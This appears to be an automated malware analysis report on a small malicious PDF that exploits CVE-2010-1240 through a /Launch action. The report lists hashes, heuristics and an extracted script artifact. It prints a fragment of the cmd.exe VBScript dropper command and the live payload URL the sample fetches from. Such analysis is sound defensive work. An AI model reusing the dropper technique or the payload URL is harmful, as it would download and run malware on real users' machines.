PDF malware analysis — malicious · 87b1884b56df1169

MALICIOUS

PDF

804 B

MD5: 8dd9669c49a817ae2e46b604ab8919e8 SHA-1: 4b173c0cdbc9a4e8ae69ddaf2ac8ae8366e52c6e SHA-256: 87b1884b56df116917ec2654f56904057e8cc68e34c1f9f18b204795512ee5e2

212 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The PDF file contains an embedded script that leverages a known Adobe Reader vulnerability (CVE-2010-1240) to execute a command. This command attempts to download a VBScript payload from the URL http://333.gorgrengos.com/b/tmp/m.vbs using cmd.exe and WScript.Shell. The embedded script itself is obfuscated but appears to be part of the dropper mechanism.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 5

Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER

PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://333.gorgrengos.com/b/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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